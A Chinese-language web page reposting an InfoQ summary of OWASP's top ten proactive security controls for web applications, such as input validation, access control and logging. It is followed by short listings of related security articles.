      编写安全应用时,很重要的一点就是将所有来自于应用外部的输入(如来自于浏览器或移动客户端,来自于外部系统或文件)均视为不可信任的。对于Web应用来说,这包括HTTP头、cookies以及GET和POST参数,总而言之也就是任何攻击者可以入侵的数据。

      构建安全Web应用的一个重要方法就是限制用户能够提交到Web应用之中的输入。限制用户输入的技术称之为“输入校验”。在Web应用的服务器端,输入校验通常会用到正则表达式。

      有两种输入校验,分别为“白名单”和“黑名单”校验。白名单试图定义好的输入是什么样子的,任何不匹配“好输入”定义的输入都会被拒绝。“黑名单”校验会试图探测已知的攻击,只会拒绝这些攻击和非法字符。黑名单校验更为困难,因为可以通过编码或其他伪装技术绕过,所以在构建安全Web应用时并不推荐使用。

      但有些时候正则表达式是不够的,如果你的应用要处理markup,也就是不受信任的输入中会包含HTML片段,这样的话会很难进行校验,编码也是很困难的,因为编码的话会破坏输入中的标签。此时,会需要一个能够解析和清理HTML格式文本的库,如OWASP Java HTML Sanitizer

    4. 实现适当的访问控制

      授权(Authorization,Access Control)过程指的是请求要访问特定资源时,需要判断该请求是该准许还是拒绝。访问控制可能会非常复杂,在应用开发的初始阶段,需要考虑到一些“积极”的访问控制设计需求。在软件的安全设计中,访问控制是很重要的一块内容,因此事先需要进行充分考虑:

      强制所有的请求都通过访问控制检查

      大多数的框架和语言只会检查程序员指定的特性,但是与之相反的做法是更以安全为中心的。可以考虑使用过滤器或其他的自动化机制以保证所有的请求都要经历某种类型的访问控制检查。

      默认拒绝

      结合自动化的访问控制检查,需要考虑拒绝访问所有没有配置访问控制的特性。但是通常情况下会采取相反的做法,也就是新创建的特性会自动允许所有用户访问,直到开发人员为其配置了安全检查的功能。

      在代码中,要避免硬编码基于策略的访问控制检查

      通常情况下,访问控制策略是硬编码在应用之中的。这样的话,审计或证明软件的安全性会变得非常困难且耗时。如果可能的话,访问控制策略和应用代码应该分离开来。

      针对活动编码

      在大多数的Web框架中会将基于角色的访问控制作为主要方法。尽管在访问控制机制中,使用角色是可以接受的,但是在应用代码中针对特定的角色编码是一种反模式。在代码中要考虑用户是不是有权限访问某个特性,而不是检查用户具备什么样的角色。

      驱动访问控制检查的是服务端的可信数据

      在作出访问控制决策的时候,会涉及到很多的数据(登录的用户是谁、这个用户具备什么样的权限、访问控制策略是什么、请求的特性和数据是什么、时间是什么、地理位置是哪里),这些数据应该通过“服务器端”标准的Web或Web服务应用来获取。策略数据,如用户角色和访问控制规则决不能作为请求的一部分。在标准的Web应用中,访问控制唯一需要的客户端数据就是要访问数据的id。作出访问控制决策的大多数其他数据需要从服务器端获取。

    5. 建立识别和认证控制

      认证过程指的是校验个人或实体是不是就是其所宣称的那个人。通常来讲,认证需要提交用户名或id,以及只有指定用户才能知道的一条或多条私人信息。

      会话管理指的是服务器端要维护与之交互的实体的状态。这就需要服务器能够记住整个事务期间如何与后续的请求进行交互。在服务器端,会话通过一个会话标识符来进行维护。

      识别管理是一个很广泛的话题,不仅仅包括认证和会话管理,还包括一些高级话题,如联合身份验证(identity federation)、单点登录、密码管理工具等等。

    6. 保护数据和隐私性

      当传输敏感的数据时,不管是在应用或网络架构的哪一层,都需要考虑以某种方式进行传输加密。对于应用传输加密来讲,SSL/TLS是目前最常见和广泛支持的一种模型。

      关于数据安全,很重要的一点在于要对系统中的数据进行分类,并确定哪些数据需要进行加密。 另外,还要保护正在处理中的数据,这些数据位于内存之中,可能更易于获取到。

    7. 实现日志和入侵探查

      应用的日志不应该是事后才考虑的事情,也不应该局限于调试或解决问题,它应该在其他重要的事情上发挥作用。安全事件的日志与进程监控、审计或事务日志在采集的目的上往往是不一样的,因此通常会进行区分。日志不要记得太多也太能太少,需要记住的一点是不要记录私人或敏感数据。为了防止日志注入(Log Injection),在记录前要对非信任的数据进行校验或编码。

      OWASP AppSensor项目定义了概念化的框架和方法论,通过规范化的指导为已有的应用实现侵入探测和自动化响应。

    8. 使用框架和安全库的安全特性

      如果对于每个Web应用都从头开发安全控制功能的话,那会非常浪费时间并且会产生大量的安全漏洞。安全的代码库可以帮助开发人员注意安全相关功能的设计,并避免实现中漏洞。

      如果可以的话,要尽可能使用框架已有的特性,而不是引入第三方库。可以考虑的Web应用安全框架包括:Spring SecurityApache Shiro。还有一点就是要及时更新这些框架和库。

    9. 将安全相关的需求考虑在内

      在软件开发项目的初期,需要定义三类安全相关的需求:

      1. 安全特性和功能:系统中可见的安全控制,包括认证、访问控制以及审计功能。这些需求通常会包含在用例或用户故事中,Q/A人员可以评估和测试功能的正确性。
      2. 业务逻辑的滥用场景(abuse cases):业务逻辑通常是包含多个步骤、多个分支的工作流程,这些需求的用户故事或用例应该包含异常和失败的场景,并且包含在“滥用场景”下的需求。滥用场景描述了在遭到攻击者破坏时,一项功能该是什么样子的。考虑到失败和滥用场景会发现校验和错误处理中的弱点,从而提升应用的可靠性和安全性。
      3. 数据分类和隐私的需求:开发人员应当时刻注意系统中任何的私人和敏感数据,并确保它们是安全的。这会促使在系统中采用数据校验、访问控制、加密、审计以及日志控制等功能。
    10. 在设计和架构时,将安全考虑在内

      在进行系统的架构和设计时,有一些安全相关的因素需要进行考虑,包括:

      1. 了解你所拥有的工具:你所选择的语言和平台会产生技术相关的安全风险和考量因素,开发团队必须要有所理解并进行管理。
      2. 分层、信赖以及依赖:在安全的架构和设计中,另外一个很重要的部分就是分层和信赖。确定在客户端、Web层、业务逻辑层以及数据管理层要进行什么样的控制,以及不同系统间或同一个系统的不同部分之间,在什么地方建立信赖关系。信赖的边界确定了应该在什么地方进行认证、访问控制、数据校验和编码、加密以及日志记录。当对系统进行设计或设计变更时,要确保对信赖假设有充分的理解,并且这些假设是合法且一致的。
      3. 管理受攻击面:注意系统的受攻击面(attack surface),也就是攻击者可以攻入系统、获取数据的方式。当你增加受攻击面时,要进行风险评估。你是不是引入了新的API或改变了系统中具有较高安全风险的功能,或者只是为已有页面或文件添加一个新的域?

    以上就是OWASP列出的十大安全控制措施,在原文的页面中有大量相关资料的链接,感兴趣的读者可以进一步的学习和掌握。希望这十大措施能够为您的安全应用构建提供指导。

    转自:http://www.infoq.com/cn/news/2014/06/owasp-proactive_controls

    展开全文
  • 这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,...这篇文章将分享APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施。希望文章对您有所帮助~
  • 五项措施,让阿里云存储更安全

    千次阅读 2020-04-20 18:17:15
    如何保障数据的安全性,进而保障业务的连续性成为云所要解决的关键问题之一。 一、存储面临的安全新挑战 1、 安全合规成为必选项 2017 年 6 月 1 日,《中华人民共和国网络安全法》正式实施,这是中国建立严格的...
  • 组织越来越多地实施零信任策略以增强其数字安全状况。根据《信息安全杂志》的统计,有15%的组织表示他们在2019年底之前实施了零信任策略。另有59%的参与者表示,他们打算在未来12个月内实施。 要了解为什么如此...
  • 这是作者的网络安全自学教程系列,主要是关于安全工具...这篇文章将讲解宏病毒相关知识,它仍然活跃于各个APT攻击样本中,本文包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。基础性文章,希望对您有所帮助。
  • 银行网络安全现状及要求措施建议

    千次阅读 2009-08-28 15:46:00
    随着银行业对计算机网络系统的依赖程度增加,金融产品不断创新,网点不断增加,安全管理问题也变得越来越重要。 银行网络系统安全与服务功能是一对矛盾的关系。如果某个系统不向外界提供任何服务,
  • 旧金山--(美国商业资讯)--根据ISACA新的网络安全人力资源研究,由于竞争对手越来越多地以高额薪资和奖金吸引员工,组织正努力设法维持齐备的网络安全人员。 此新闻稿包含多媒体内容。完整新闻稿可在以下网址查阅...
  • 因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但...
  • 2018年1月12日下午,江苏省信息网络安全协会2017年协会在南京召开,公安部网络安全保卫局郭启全总工做了《从实战出发,落实重要措施,保卫国家关键信息基础设施和大数据安全》的报告,报告内容干货满满。今天不得不...
  • DDoS的攻击有很多种类型,如依赖蛮力的ICMP Flood、UDP Flood等等,随着硬件性能的 提升,需要的机器规模越来越大,组织大规模的攻击越来越困难,现在已经不常见,还有就是依赖协议特征以及具体的软件漏洞进行的攻击,如...
  • 信息安全规划也称为信息安全计划,它用于在较高的层次上确定一个组织设计信息安全的活动,主要内容包括安全策略、安全需求、计划采用的安全措施安全责任和规划执行时间表等内容。 什么是信息安全风险评估? 对...
  • 为了能够更加全面的了解全球APT研究的前沿成果,360威胁情报中心对APT攻击中最重要的部分(APT组织所使用的安全漏洞)进行了梳理,在参考了各类APT研究报告和研究成果、APT攻击活动或APT组织最常使用的漏洞、以及...
  • 5、第三方数据处理 GDPR规定数据控制者在选择数据处理的合作第三方时,应当选用具有充分保证的、采取合适技术与组织措施的、处理方式符合本条例要求并且能够保障数据主体权利的处理者。 组织架构保障 1、管理层对...
  • 护网行动,2020年具体防护措施

    千次阅读 2020-11-17 09:31:26
    2016年,公安部会同民航局、国家电网组织开展了 “护网2016”网络安全攻防演习活动。同年,《网络安全法》颁布,出台网络安全演练相关规定:关键信息基础设施的运营者应“制定网络安全事件应急预案,并定期进行演练...
  • Docker安全

    千次阅读 2017-03-08 20:04:42
    Docker的安全性 ...Docker的安全性主要体现在如下几个方面: ...Docker容器的安全性这是指容器是否会危害到宿主机或其他容器;...镜像的安全性用户如何确保下载下来的...Docker daemon的安全性如何确保发送给daemon的命
  • 为客户进行全方位风险评估,帮助客户掌握安全现状与目标之间的差距、设计及落实安全体系、满足各种合规性要求、采取措施降低安全风险,进而提高安全管理实效、获取信息安全管理体系认证等。 3、安全评估...
  •  当在大数据使用案例中提及云安全策略时,我们希望任何安全解决方案都能够在不影响部署安全性的情况下提供与云一样的灵活性。可是灵活性和安全性有的时候是不能兼顾的,所以如何实现安全性和灵活性的平...
  • 措施优先级(AP)方法

    千次阅读 2020-06-22 14:32:11
    团队完成失效模式、失效影响、失效起因和控制的初始识别(包括严重度、频度和探测度的评级)后,必须决定是否需要进一步努力来降低风险。由于资源、时间、技术和其它因素的固有限制,必须选择如何最好地将这些措施...
  • 这篇文章将带大家学习安天科技集团首席架构师肖新光老师(Seak)的分享,介绍恶意代码与APT攻击中的武器,包括A2PT的攻击武器、普通APT组织的自研恶意代码、商用恶意代码、无恶意代码作业、开源和免费工具等。...
  • 从这一讲开始,我们讨论业务安全。近几年,随着互联网的快速发展,很多公司为了获取用户增长,在业务中投入了大量的资本。向来都是向钱看齐的黑客(在业务安全中,我们称之为黑产),自然就将攻击的重心放到了业务中...
  • WebApp 安全入门

    千次阅读 2019-06-25 23:30:14
    2018 网络安全事故频发,从数据泄露、信息窃取,到 DDOS 攻击、勒索病毒,不仅威胁的总数在增加,威胁...本次分享,葡萄城技术团队将从 WebApp 安全出发,带你了解更多意想不到的安全防护措施与黑客攻击手段,助你...
  • 《计算机信息系统安全保护等级划分准则》(GB17859-1999)是建立安全等级保护制度,实施安全等级管理的重要基础性标准,他讲计算机信息系统分为5个安全等级。
  • ISO(国际化标准组织)给出的定义:为数据处理系统建立和采取技术、管理的安全保护,保护计算机硬件、软件、数据不因偶然的或恶意的原因而受到破坏、更改、泄露 美国法典3542条给出的定义:信息安全,是防止未经授权...
  • 5G安全,5G防御,5G网络安全,5G信息安全

    万次阅读 多人点赞 2019-03-20 18:12:29
    简介 从最初的“人人都能上网”,到移动互联网时代的“随时能够上网”,再到5G时代的“万物互联”,这些变革都极大的改变了...安全一直是移动通信系统关注的问题,在5G时代,安全会面 一、5G面临的安全需求与挑战 ...
  • 信息安全

    千次阅读 2011-10-24 20:14:22
    网络环境下的信息安全体系是保证信息安全的关键,包括计算机安全操作系统、各种安全协议、安全机制(数字签名、信息认证、数据加密等),直至安全系统,其中任何一个安全漏洞便可以威胁全局安全。信息安全服务至少...
  • 都发布了基本要求,27000信息安全管理体系提供了14个控制域的114个控制措施,等级保护提供了技术要求和管理要求两个大类下的10个子类的安全要求;在控制措施安全子类层面的安全要求上,都或多或少的存在共性。 ...
  • CCSK云安全认证-M3-管理云计算的安全性和风险

    万次阅读 多人点赞 2020-03-07 23:57:27
    CCSK-M3-管理云计算的安全性和风险一.云计算安全治理与风险管理1.1 治理1.2 云治理工具二....管理云计算时要记住 的首要问题是,一个组织永远不能外包治理的责任,即使是使用外部供应商的情况下。 无论...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 50,200
精华内容 20,080
关键字:

安全组织措施包括